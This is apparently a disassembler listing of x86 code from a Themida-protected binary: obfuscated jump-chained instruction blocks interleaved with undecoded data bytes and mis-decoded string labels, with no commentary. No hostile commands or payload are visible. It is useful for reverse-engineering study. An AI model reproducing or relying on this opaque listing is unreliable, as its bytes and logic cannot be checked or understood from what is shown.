81000016h, 781245C3h dd 0E0EA81C2h, 0E95B0609h, 5C34h, 6BF8E281h, 81425CEAh dd 3A23AF2h, 5AD601C4h, 348BF289h, 4C48124h, 1000000h dd 0B4ADE9D6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5586AA: ; CODE XREF: Themida_:0055278Fj push 7D0E241Dh pop edi jmp loc_5533E4 ; --------------------------------------------------------------------------- db 5Fh, 2Dh, 0EFh dd 486F300Fh, 0A4394A35h, 1A742D58h, 0C329C73Fh, 582434FFh dd 0FFA58DE9h, 243487FFh, 16F1E95Ch, 34870000h, 0C6BBE924h dd 4B9FFFFh, 53000000h, 0AE4F75BBh, 4D4DE97Ch, 0E9810000h dd 57467020h, 9482E9h db 0 ; --------------------------------------------------------------------------- loc_5586FD: ; CODE XREF: Themida_:0055EEA1j shl ecx, 7 push ecx not dword ptr [esp] pop ecx neg ecx xor ecx, 918A7A98h sub eax, 2E316EB2h add eax, ecx add eax, 2E316EB2h pop ecx push dword ptr [esp] pop esi add esp, 4 jmp loc_5557C8 ; --------------------------------------------------------------------------- dw 5F54h dd 0E904EC83h, 9B9Eh, 504C483h, 4, 5AFCE9h, 241C8900h dd 0FFA060E9h, 55EE81FFh, 11E287Dh, 55C681D6h, 8B1E287Dh dd 0C4832414h, 8BC68104h, 13EB025h, 4256E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558766: ; CODE XREF: Themida_:0056361Dj push edi mov edi, 543B4DD8h dec edi and edi, 3DCD307Ah xor edi, 4A912BFh jmp loc_556AE1 ; --------------------------------------------------------------------------- dw 0B850h dd 46C936D1h, 0A770EA0Dh, 0CE6353Eh, 632D01D1h, 0E9598122h dd 0FFFFEA22h, 94E9555Fh, 55FFFF90h, 4BDh, 246C8100h, 2801BC04h dd 246C011Bh, 24448104h, 2801BC04h, 4C88E91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587BE: ; CODE XREF: Themida_:005616DCj shl eax, 7 jmp loc_55787B ; --------------------------------------------------------------------------- dw 0E95Fh dd 0EC1h ; --------------------------------------------------------------------------- loc_5587CC: ; CODE XREF: Themida_:00553F8Fj mov ecx, 7FA02008h add ebx, ecx jmp loc_55D29F ; --------------------------------------------------------------------------- dd 81F70158h, 4256EFEFh, 0EF815E43h, 4, 5C243C87h, 0FFADA8E9h dd 8CF5E9FFh, 8166FFFFh, 0E90001EAh, 5DF4h, 6624248Bh dd 0E9C8AF0Fh, 0FFFFCF8Ch, 58C5295Eh, 1E4EBA52h, 0D529503Ah dd 81DD295Ah, 3A1E4EC5h, 0E33EE950h, 0C8B0000h, 0DBA7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55882E: ; CODE XREF: Themida_:00555FA1j add esp, 4 add esp, 4 jmp loc_565A73 ; --------------------------------------------------------------------------- dd 582434FFh, 0FF04C483h, 83582434h, 0E95604C4h, 0D736h ; --------------------------------------------------------------------------- loc_558850: ; CODE XREF: Themida_:005636C1j mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_554BE6 ; --------------------------------------------------------------------------- byte_55887B db 66h ; DATA XREF: Themida_:00551410o dd 68240C8Bh, 6449h, 60AAE9h db 0 ; --------------------------------------------------------------------------- loc_558889: ; CODE XREF: Themida_:005619D8j inc edi xchg edi, esi push ebp jmp loc_55AA54 ; --------------------------------------------------------------------------- dw 0C140h dd 0D0F704E0h, 282ABB35h, 0E9C5895Bh, 0FFFFBAFEh, 0F9D6E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5588AA: ; CODE XREF: Themida_:00564C89j mov [esp], edx mov edx, 481707BBh jmp loc_556290 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2BECE95Ch, 0C7800000h dd 4EC83FFh, 0E9240489h, 106h, 0E9A4F680h, 0FFFFB691h ; --------------------------------------------------------------------------- loc_5588E4: ; CODE XREF: Themida_:0055CC6Fj add esp, 4 loc_5588E7: ; CODE XREF: Themida_:00559F67j ; Themida_:00564CC0j push 530Ch mov [esp], edi jmp loc_5532CE ; --------------------------------------------------------------------------- aSze db '\Иz┘',0 align 2 dw 487h dd 0BF575C24h, 2, 6047EB81h, 0FB01234Fh, 0ABCBE9h, 0EC835600h dd 242C8904h, 729568h, 240C8900h, 0F607C3B9h, 4EC8359h dd 0E9241489h, 0FFFFA964h, 5503E2C1h, 65173BBDh, 0FFED813Dh dd 81FFFFFFh, 130E08E5h, 0A920E910h, 3489FFFFh, 76916824h dd 24890000h, 10B9E924h, 1B50000h, 0FE59EB00h, 323468C3h dd 0B0E90000h, 0BF0000AAh, 5AFF5D34h, 73AFEF81h, 0CF81688Ah dd 244D1419h, 0C5B6EF81h, 0BE569417h, 7FF945A9h, 15EF501h dd 0A9ED81FDh, 5F7FF945h, 48E2B951h, 0ED81193Eh, 4A496780h dd 0C581CD29h, 4A496780h, 0FFED8159h, 94A04C4h, 0E95D1C6Fh dd 0FFFF8B33h ; --------------------------------------------------------------------------- loc_5589B8: ; CODE XREF: Themida_:0055EE0Bj xor ebp, 6A46678Dh push ebp jmp loc_555DF8 ; --------------------------------------------------------------------------- dd 2DB119B4h, 6658E128h, 0E974B252h, 1673h, 0B551D828h dd 6FB75322h, 8C92E953h, 5B00000h, 96E9FE04h, 0B9000044h dd 4, 0E959CB01h, 49C3h, 2E22C281h, 0C2814F19h, 29BA0BDBh dd 0E14FE9h, 4C18100h, 81000000h, 4C1h, 240C8700h, 0E924248Bh dd 7DF6h, 0B9240C89h, 0F230AEE4h, 0D3E9CE31h, 81FFFFB7h dd 4C5h, 242C8700h, 7EBE685Ch, 0C890000h, 0BBE95224h, 53FFFF95h dd 5F4D7068h, 73E95B5Eh, 5C0000CAh, 4B30F66h, 8CE99C24h dd 28FFFF8Ah, 0C83058E1h, 592434FFh, 1268h, 241C8900h dd 0BF57E389h, 4, 9CE9FB01h, 8300005Fh, 0FF042404h db 34h, 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_559466 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 87000000h, 248B243Ch, 40FFE924h, 0EC830000h, 24148904h dd 315868h, 11A7E900h, 0C1800000h, 0E9C800C0h, 14Ah ; --------------------------------------------------------------------------- loc_558AC0: ; CODE XREF: Themida_:00556B7Dj sub ch, 0B3h jmp loc_56133E ; --------------------------------------------------------------------------- loc_558AC8: ; CODE XREF: Themida_:00564D77j mov esi, eax jmp loc_56622B ; --------------------------------------------------------------------------- db 5Eh dd 95BDA89h, 0F5840FC9h, 57000051h, 0C781E789h, 4, 0E904EF83h dd 0A9B0h ; --------------------------------------------------------------------------- loc_558AEC: ; CODE XREF: Themida_:0055B505j ; Themida_:0055D6E2j sub esp, 4 mov [esp], ebp push 7D7Fh mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, ebx jmp loc_56120D ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 11286850h, 0D158189Ah, 35D8F7E8h, 0B97C086Bh dd 48BC789h, 43E3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B2A: ; CODE XREF: Themida_:0055D39Aj add ebx, 5C39750Fh add ebx, eax sub ebx, 5C39750Fh pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] add ecx, 61CE360Fh jmp loc_55B53C ; --------------------------------------------------------------------------- dd 0ABBCE95Eh, 0C200FFFFh, 0D3285866h, 0C0B60F5Ah, 365BE9h dd 0D9E98000h, 7A8FE9h, 68C80400h, 4E97h, 0E9240489h, 0FFFFD781h ; --------------------------------------------------------------------------- loc_558B7C: ; CODE XREF: Themida_:00552845j mov ebx, [esp] add esp, 4 jmp loc_55DCC2 ; --------------------------------------------------------------------------- byte_558B87 db 0FFh ; DATA XREF: Themida_:005513CCo dd 5CE92C77h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558B8F: ; CODE XREF: Themida_:00555447j sub eax, ecx pop ecx add esi, eax push dword ptr [esp] pop eax add esp, 4 push esi push dword ptr [esp+4] jmp loc_564216 ; --------------------------------------------------------------------------- byte_558BA5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00551234o dd 8B2434FFh, 0C4832404h, 3B2C6804h, 0C890000h, 4EC8324h dd 0E9242489h, 0FFFFB6F5h, 54243489h, 8324348Bh, 0C68104C4h dd 4, 4C681h, 91E90000h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BDF: ; CODE XREF: Themida_:0055388Aj mov ecx, 272656D7h jmp loc_55C483 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0C2h dd 0E7C0CFFEh, 2AF78004h, 0A59E9h, 2BD5500h, 0E9000000h dd 0FFFFA9DAh, 77D4E958h, 2C590000h, 0B3535BDDh, 4FD3E912h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C16: ; CODE XREF: Themida_:005540AFj push esi mov esi, 7AAC14DFh mov ebp, 8553EB25h jmp loc_5602E5 ; --------------------------------------------------------------------------- dw 96BAh dd 5360EA19h, 0FFDD87E9h, 241C87FFh, 30C9E95Ch, 0BE560000h dd 657B727Fh, 176EEE81h, 0F029F689h, 3B10E9h, 31595C00h dd 242C8BE8h, 114BE951h, 85680000h, 0E9000075h, 921Fh dd 895BD801h, 958EE9C2h, 3366FFFFh, 31662404h, 70E92404h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C7B: ; CODE XREF: Themida_:0055314Bj push edi mov edi, 17791A6Ch sub edx, edi pop edi push edi jmp loc_55BD2A ; --------------------------------------------------------------------------- aVssj db 'VИАJ',0 align 10h dd 0E9240C8Bh, 0FFFFDD6Dh, 0C480CCFEh, 58E7207Ah, 54F65366h dd 14E90124h, 28FFFFF8h, 2434FFF8h, 0FFE9D3E9h, 0E95B66FFh dd 988Ah, 51CA015Bh, 7C1494B9h, 5E1C174h, 430BE981h, 0CA0112D4h dd 8FEE959h, 0F6810000h, 60001004h, 0FFE3F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_558CE1: ; CODE XREF: Themida_:0055C5BBj pop esi jmp loc_55B50A ; --------------------------------------------------------------------------- db 5Ch dd 0FF2434FFh, 34FF2434h, 0C464E924h, 0F660000h, 5166C8B6h dd 0DF18E99Ch, 33590000h, 0C4E92414h, 55000080h, 0C85FE1BDh dd 7D29E95Ch, 0C8290000h, 8718AF05h, 240C8B14h, 5204C483h dd 7744E9h db 0 ; --------------------------------------------------------------------------- loc_558D29: ; CODE XREF: Themida_:0055370Dj mov ecx, esp jmp loc_562EDE ; --------------------------------------------------------------------------- dd 9066E95Ch, 0BF57FFFFh, 460831BDh, 1181E781h, 86E956BCh dd 8BFFFF9Fh, 0C481242Ch, 4, 5819BB53h, 555257FAh, 0A41063BDh dd 4E5C15Bh, 2F5F581h, 0C5815B76h, 84A576C2h, 95DEA89h dd 2434FFD3h, 4C4835Ah, 2414F753h, 83241C8Bh, 409304C4h dd 5DEB8193h, 1880184h, 241C8BDDh, 5004C483h, 512FEEB8h dd 0B7B9510Eh, 0E94D8F3Dh, 0DB33h ; --------------------------------------------------------------------------- loc_558DA4: ; CODE XREF: Themida_:0055AB61j add ebx, 6FDA2613h shl ebx, 7 jmp loc_55C61E ; --------------------------------------------------------------------------- dw 0ED80h dd 51F580F3h, 9B03E9h db 0 ; --------------------------------------------------------------------------- loc_558DBD: ; CODE XREF: Themida_:00565993j push ebx jmp loc_56472C ; --------------------------------------------------------------------------- loc_558DC3: ; CODE XREF: Themida_:00555FBFj shl edx, 7 xor edx, 39C628DCh sub ecx, edx pop edx push edi mov edi, 16080404h push 30F8h mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, 5A2008B3h jmp loc_5567B6 ; --------------------------------------------------------------------------- aSZ db '^И}z',0 align 2 dw 6C0Dh dd 50A7903h, 0CAAD7404h, 8958C231h, 99E94057h, 89000094h dd 4812424h, 424h, 2434FF00h, 83242C8Bh, 515704C4h, 0E956E189h dd 0FFFF9336h, 817C632Dh, 5F8010Ah, 0A817C63h, 81243C8Bh dd 4C4h, 2F0C6800h, 34890000h, 0F4685024h, 8B564960h, 82E92404h dd 55000029h, 42474FFh, 83242C8Bh, 48F04C4h, 14F75524h dd 0AFE95D24h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E77: ; CODE XREF: Themida_:00555F2Bj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 jmp loc_55B774 ; --------------------------------------------------------------------------- db 5Dh dd 38A8ED81h, 58591830h, 7ACCB850h, 0E6E94E11h, 81000090h dd 0F85817F5h, 8EED813Fh, 0E93A2E68h, 0FFFFCFADh, 0E904C483h dd 0FFFFFD9Ah, 0E9FC885Ah, 40B3h ; --------------------------------------------------------------------------- loc_558EC8: ; CODE XREF: Themida_:0055CADCj inc edx push esi jmp loc_56346C ; --------------------------------------------------------------------------- db 81h dd 47E2EBC3h, 5BDA09F7h, 275AF281h, 51534BA6h, 0B317E9h dd 241C8B00h, 0E904C483h, 0FFFFA435h ; --------------------------------------------------------------------------- loc_558EF0: ; CODE XREF: Themida_:0055295Aj pop edx inc esi jmp loc_55A212 ; --------------------------------------------------------------------------- db 8Bh dd 1C892424h, 4EAFE924h, 0E1810000h, 1D504E2Dh, 2B70BA52h dd 0C2811F1Ch, 80B8D362h, 78AAC181h, 0D129342Fh, 78AAE981h dd 815A342Fh, 1E18EBC9h, 4EC8108h, 89000000h, 28E9240Ch db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_558F37: ; CODE XREF: Themida_:0055A1BAj shr ecx, 7 jmp loc_553C4F ; --------------------------------------------------------------------------- db 80h dd 0E23068C4h, 8124048Bh, 4C4h, 8BD03000h, 5DE92414h, 68000024h dd 53D477C1h, 7785E9h db 0 ; --------------------------------------------------------------------------- loc_558F61: ; CODE XREF: Themida_:0055FC12j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor eax, esi mov esi, [esp] add esp, 4 add eax, 0C1541BCh jmp loc_55F4AD ; --------------------------------------------------------------------------- loc_558F89: ; CODE XREF: Themida_:0055538Aj push edi jmp loc_556C8E ; --------------------------------------------------------------------------- loc_558F8F: ; CODE XREF: Themida_:0056120Ej pop eax jmp loc_560622 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0 dd 0CD8058E5h, 66DDF699h, 80EDB652h, 3AE971C5h, 0FFFFFFD4h dd 83582434h, 565504C4h, 4769F668h, 24348B6Eh, 4C481h dd 83E90000h, 0BB000021h, 3D1F3BC6h, 0E901C383h, 0A452h ; --------------------------------------------------------------------------- loc_558FD8: ; CODE XREF: Themida_:0055613Cj mov eax, [esp] add esp, 4 xor eax, 15E90CAFh mov ecx, eax pop eax push esi jmp loc_556BDB ; --------------------------------------------------------------------------- aAQsD db '─ЛqИфD',0 align 4 dd 2414F766h, 241C8B66h, 2C481h, 87660000h, 8B66241Ch dd 0E9532404h, 3500h, 15BDF29h, 7BBE56CFh, 8123505Dh, 2A4AFAEEh dd 5EF701CBh, 0FFBAD2E9h, 31AFBBFFh, 0DD89342Fh, 81241C8Bh dd 4C4h, 34815500h, 0D3633324h, 0AEBBE976h, 0E0890000h dd 405h, 25E95500h, 51000069h, 0B9h, 0B2BB5300h, 8166AD57h dd 6014D6C3h, 7EBC1A1h, 57DBF74Bh, 0A66E76BFh, 0F7814F0Ah dd 439837E2h, 0CC07C781h, 0FB29084Bh, 0FFE1DBE9h, 240489FFh dd 405E089h, 83000000h, 0E95004E8h, 6325h, 0FF844EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55909D: ; CODE XREF: Themida_:0055CCB6j mov [esp], ecx mov ecx, 4 add eax, 36996A3Bh add eax, ecx sub eax, 36996A3Bh pop ecx push 5538h mov [esp], esi jmp loc_552D9A ; --------------------------------------------------------------------------- db 5Eh dd 6DC7C281h, 0E94A06D5h, 0FFFFDA5Ch, 4EA81h, 0FF520000h dd 5A042474h, 4825E9h, 0F6815800h, 615F363Bh, 502DF681h dd 0F2010B71h, 2414335Eh, 33241431h, 0D25C2414h, 0E99C243Ch dd 0FFFF83EBh, 0D224248Bh, 0E99C2404h, 0FFFF83DFh, 24048F54h dd 0FFF68AE9h db 0FFh ; --------------------------------------------------------------------------- loc_559115: ; CODE XREF: Themida_:00562718j xor [esp], ebx xor ebx, [esp] xor [esp], ebx push dword ptr [esp] jmp loc_5521D0 ; --------------------------------------------------------------------------- dw 0F829h aVssL db 'VSИ<╚',0 dw 5200h dd 404C0BBAh, 5AD10924h, 5002E9C1h, 460FE9h, 4C38100h dd 81000000h, 4ECh, 177FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559152: ; CODE XREF: Themida_:005515C8j pop ecx jmp loc_55DE3C ; --------------------------------------------------------------------------- dd 2B9h, 14BA5200h, 0E964B357h, 0FFFFF5DDh ; --------------------------------------------------------------------------- loc_559168: ; CODE XREF: Themida_:0055956Fj add eax, ecx mov ecx, [esp] add esp, 4 push 5B07h jmp loc_552491 ; --------------------------------------------------------------------------- db 58h, 68h, 7 dd 8900001Ch, 0E189240Ch, 0E904EC83h, 4331h ; --------------------------------------------------------------------------- loc_559190: ; CODE XREF: Themida_:0055EDFAj push eax push ebp mov ebp, edx mov eax, ebp jmp loc_556540 ; --------------------------------------------------------------------------- db 0B8h dd 4, 7C64E9h db 0 ; --------------------------------------------------------------------------- loc_5591A5: ; CODE XREF: Themida_:00559E28j mov edx, 95481D62h sub ecx, edx pop edx jmp loc_55240A ; --------------------------------------------------------------------------- dw 6853h dd 99F8A544h, 5BD9315Bh, 0C8BCF01h, 4C48124h, 56000000h dd 2BEh, 5EF72900h, 8C99E9h, 0E9850400h, 0A18Ch ; --------------------------------------------------------------------------- loc_5591DC: ; CODE XREF: Themida_:005624BFj push eax push ebp mov ebp, 41092B48h mov eax, 5D5531C7h sub eax, 2C353C64h sub eax, ebp add eax, 2C353C64h pop ebp jmp loc_55223F ; --------------------------------------------------------------------------- word_5591FA dw 34FFh ; DATA XREF: Themida_:00551400o aYhqs db '$YhОs',0 dw 0E900h dd 0FFFFC337h ; --------------------------------------------------------------------------- loc_559208: ; CODE XREF: Themida_:00551AD1j mov edx, 3127425Eh xor edx, 43878BDCh xor ecx, edx jmp loc_55793F ; --------------------------------------------------------------------------- dw 0F381h dd 757102D3h, 0FFD994E9h, 48966FFh, 82BDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55922E: ; CODE XREF: Themida_:0055C624j xor ebp, ebx pop ebx mov edx, [esp] add esp, 4 add edx, ebp jmp loc_560FD0 ; --------------------------------------------------------------------------- dw 315Dh dd 2434FFD8h, 0FFE10AE9h, 80CFFEFFh, 0C7FEE9EFh, 2836F780h dd 0E90FE9F8h, 0C4BAFFFFh, 292AF968h, 24148BD0h, 8B04C483h dd 0C481243Ch, 4, 0DCE6851h, 0C8B4D46h, 5D545524h, 19156857h dd 3EE90000h, 5A000081h, 62501B05h, 36BB5329h, 3116E921h dd 0E9D831C3h, 0FFFFD9C5h ; --------------------------------------------------------------------------- loc_55929C: ; CODE XREF: Themida_:0056001Cj mov esi, [esp] push 5B1Dh jmp loc_557AC3 ; --------------------------------------------------------------------------- loc_5592A9: ; CODE XREF: Themida_:00563416j xor edx, 327F5D0Eh not edx xor edx, 79FC846Fh sub ebp, edx pop edx shl ebp, 7 push edi mov edi, 1 add ebp, edi jmp loc_554C92 ; --------------------------------------------------------------------------- dw 1C89h aPsup db '$PИ⌠╞',0 dw 0E900h dd 0FFFF8213h, 4C481h, 0D7010000h, 27DDE9h, 7FE95200h dd 1000079h, 240C8BCAh, 5704C483h, 2732AEBFh, 5FF80169h dd 8498E9h db 0 ; --------------------------------------------------------------------------- loc_559301: ; CODE XREF: Themida_:0055DECFj not ecx shr ecx, 4 sub esp, 4 mov [esp], edx mov edx, 4B717028h xor ecx, edx jmp loc_55A47F ; --------------------------------------------------------------------------- loc_559318: ; CODE XREF: Themida_:00552070j push dword ptr [esp] pop esi jmp loc_555EFC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5C24048Fh, 8904EC83h, 0E953240Ch, 0FFFF837Ch ; --------------------------------------------------------------------------- loc_559334: ; CODE XREF: Themida_:005638C3j push ebx mov ebx, 0D9B432Ch add ebx, 0F264BCD8h add ecx, ebx pop ebx xor ecx, [esp] jmp loc_55DC49 ; --------------------------------------------------------------------------- db 87h dd 0E95C240Ch, 750Ch ; --------------------------------------------------------------------------- loc_559354: ; CODE XREF: Themida_:00555AA3j sub esp, 4 jmp loc_561A36 ; --------------------------------------------------------------------------- db 1 dd 8CEE81EEh, 8154160Ah, 3F3DEFEEh, 2F8FE928h, 0C890000h dd 800BB124h, 0E9C001E9h, 69E18006h, 28D8E980h, 0B60F59CBh dd 8734FFC0h, 27AFE9h db 0 ; --------------------------------------------------------------------------- loc_559391: ; CODE XREF: Themida_:0056285Fj and eax, ebp pop ebp shr eax, 8 xor eax, ecx xor eax, edx xor edx, eax jmp loc_55C987 ; --------------------------------------------------------------------------- dw 44E9h dd 54FFFF81h, 4B95158h, 1000000h, 240C8BC8h, 4C481h, 0B1E90000h dd 0C100000Eh, 814506E5h, 9F357CF5h, 81D5F716h, 96C2ADC5h dd 0E0B5E9D0h, 1489FFFFh, 0C2E95324h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593DF: ; CODE XREF: Themida_:0055747Bj mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp pop eax push 2A8Fh mov [esp], edx mov edx, 7124528h shr edx, 8 jmp loc_554EFF ; --------------------------------------------------------------------------- db 83h dd 0C8704E9h, 24895C24h, 24048124h, 4, 4C7815Fh, 0E9000000h dd 0FFFF89CBh ; --------------------------------------------------------------------------- loc_559424: ; CODE XREF: Themida_:00557E23j xor ebp, 38FD17A4h jmp loc_5610A2 ; --------------------------------------------------------------------------- aZsW db 'ZИ\W',0 dd 0FEB900h, 0CE890000h, 1C772159h, 5624348Bh, 0C681E689h dd 4, 0E904EE83h, 3D46h, 0E97CEE80h, 0D682h, 0E689565Ah dd 6CECE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559466: ; CODE XREF: Themida_:00558A90j add ebp, 4 xchg ebp, [esp] pop esp push 7F03h mov [esp], ebp push edi mov edi, esp add edi, 4 jmp loc_5552E2 ; --------------------------------------------------------------------------- dw 0BF57h dd 22FC03A2h, 2B1AEF81h, 0F7810502h, 1B419D40h, 55FF829h dd 0E003206h, 2F2FD02Dh, 5D8290Ch, 0C2F2FD0h, 1E576851h dd 81596B43h, 830AD2F1h, 7FE9810Ah, 2953BFE2h, 2AE959C8h dd 30FFFFE1h, 8E8EE9FAh, 0D8280000h, 4EC835Bh, 0FFE150E9h dd 243C87FFh, 243C895Ch, 43D6BA52h, 0B9515C6Ch, 17B67433h dd 38C4F181h, 0E9811FACh, 0FFFFFFFFh, 0C797E9h, 0B2525300h dd 5AD3884Ch, 0FE05EBC0h, 3E3C0C3h, 0FABE9h db 0 ; --------------------------------------------------------------------------- loc_559511: ; CODE XREF: Themida_:00564077j xor [esp], ecx xor ecx, [esp] jmp loc_55FE46 ; --------------------------------------------------------------------------- loc_55951C: ; CODE XREF: Themida_:00554989j push 78E0250Ch pop edx dec edx or edx, 65BC22DFh xor edx, 4A16912Bh mov ebx, edx jmp loc_55461A ; --------------------------------------------------------------------------- aIssK db 'ISИ<┼',0 dd 662ABF00h, 0F8012E14h, 5E505E5Fh, 29D7E9h, 5D5A5500h dd 7559BF57h, 0FFE95D9Ah db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55955B: ; CODE XREF: Themida_:00555121j mov eax, 67C816FEh sub ecx, eax pop eax sub ecx, 321C0008h mov edx, [esp] add esp, 4 jmp loc_559168 ; --------------------------------------------------------------------------- dd 582404FFh, 5505E8C1h, 0FFF709E9h, 0F7DFF7FFh, 7E7C1D7h dd 8184C781h, 0F3E9A79Dh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559593: ; CODE XREF: Themida_:0055A197j push 44A825AAh pop ebp add ebp, 0B383C91Dh add edx, 3B6D3423h add edx, ebp sub edx, 3B6D3423h pop ebp add esi, edx push dword ptr [esp] pop edx jmp loc_55EF25 ; --------------------------------------------------------------------------- aZbUSs6 db 9,'уZ│е',0Dh,'\⌠ж)ХИ#6',0 dd 243C8B00h, 0E9E38953h, 2A84h, 0E9555159h, 6B63h ; --------------------------------------------------------------------------- loc_5595DC: ; CODE XREF: Themida_:005558C3j add ecx, ebp add ecx, 430735A9h pop ebp add ecx, 4 jmp loc_5543A8 ; --------------------------------------------------------------------------- byte_5595ED db 64h, 8Fh, 2 ; DATA XREF: Themida_:00551248o dd 0FF7EF6E9h, 4BDFFh, 6C010000h, 0E95D0424h, 0D41Ah, 4C481h dd 16E90000h, 2D000072h, 3995929h, 0E958C701h, 85Ah, 5C243487h dd 31241433h, 14332414h, 24248B24h, 484CE956h, 4810000h dd 424h, 0C3815B00h, 4, 8704C383h, 525C241Ch, 24148B54h dd 5BD3E952h, 0F8000000h, 88BB345Bh, 3FCBE9C1h, 8B580000h dd 76E92434h, 590000BEh, 59A668h, 24048900h, 52F7E9h, 2985BF00h dd 0D7F71A2Ch, 3EE9D7F7h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559683: ; CODE XREF: Themida_:00565D33j add eax, 4 jmp loc_55C183 ; --------------------------------------------------------------------------- db 81h, 0EEh, 8Eh dd 2972014Fh, 0FE685EF3h, 89000056h, 11E92414h, 810000ADh dd 467020C1h, 24148B57h, 4EC81h, 20E90000h, 87000062h dd 8F5C2414h, 665C2404h, 0E99CC885h, 0FFFF7E23h, 0BE9E589h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5596CF: ; CODE XREF: Themida_:0055996Dj mov ebp, 47F60125h not ebp add ebp, 0FB0304A2h jmp loc_5627A1 ; --------------------------------------------------------------------------- loc_5596E1: ; CODE XREF: Themida_:0055D6F9j sub esi, 4 jmp loc_55A5BD ; --------------------------------------------------------------------------- loc_5596EC: ; CODE XREF: Themida_:0055AC7Dj push 60CD6DEBh pop eax not eax push edx mov edx, 39395189h or edx, 6E1180Ah shl edx, 2 xor edx, 0B3EB0D94h jmp loc_5635E8 ; --------------------------------------------------------------------------- word_55970E dw 6855h ; DATA XREF: Themida_:005512ACo dd 10C0322Ah, 0E957515Dh, 0C91h, 265FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559722: ; CODE XREF: Themida_:0055F66Ej xor edi, 6685FA8h xor esi, edi pop edi pop edi and eax, esi mov esi, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx push eax push ecx mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 xor ecx, eax jmp loc_556A6A ; --------------------------------------------------------------------------- aLSB db '▀,$И/b',0 align 2 dw 5D66h dd 59CF0166h, 0FFA01CE9h db 0FFh ; --------------------------------------------------------------------------- loc_559761: ; CODE XREF: Themida_:005574C2j xchg edi, [esp] pop esp sub [esp+4], ebx jmp loc_55E6BB ; --------------------------------------------------------------------------- loc_55976E: ; CODE XREF: Themida_:00556DD1j pop esp mov [esp], ebx mov ebx, 4 jmp loc_555F75 ; --------------------------------------------------------------------------- dd 2414895Ch, 31AC68h, 24048900h, 22F8E9h db 0 byte_55978D db 64h, 0FFh, 32h ; DATA XREF: Themida_:005513A4o dd 91D5E9h db 0 ; --------------------------------------------------------------------------- loc_559795: ; CODE XREF: Themida_:00553392j push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ebx, [esp] sub esp, 4 jmp loc_566162 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0B1E9D787h db 0A4h, 2 dup(0FFh) byte_5597BF db 66h ; DATA XREF: Themida_:00551244o dd 50240C8Bh, 6D4E68h, 4EC8100h, 54000000h, 8124048Fh dd 42404h, 9EE90000h, 42000043h, 1C3CF281h, 0C28111A6h dd 0C82A20E4h, 0E95AD601h, 0FFFFA80Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5564CB ; --------------------------------------------------------------------------- loc_559808: ; CODE XREF: Themida_:00558037j pop edi push ebp jmp loc_55631A ; --------------------------------------------------------------------------- loc_55980F: ; CODE XREF: Themida_:0055E1FCj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], esi push 53F40111h pop esi push edi push ebp mov ebp, 30877799h jmp loc_55FE0C ; --------------------------------------------------------------------------- loc_55984E: ; CODE XREF: Themida_:0055CD3Bj xor dword ptr [esp], 0E32EBBh pop dword ptr [edi+20h] sub esp, 4 mov [esp], eax push esi mov esi, 167342A4h push edx mov edx, esi jmp loc_5638A8 ; --------------------------------------------------------------------------- loc_55986F: ; CODE XREF: Themida_:00560811j sub ecx, 60A33B0h push ebx jmp loc_55F78A ; --------------------------------------------------------------------------- db 59h dd 0E9C0B60Fh, 0A9C9h ; --------------------------------------------------------------------------- loc_559884: ; CODE XREF: Themida_:00552650j add esp, 4 xchg esi, [esp] mov esp, [esp] or eax, eax jz loc_553FF1 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx push 37F5h mov [esp], esi push esp pop esi push 123Eh mov [esp], ebp mov ebp, 57005145h push ebp xchg ecx, [esp] inc ecx 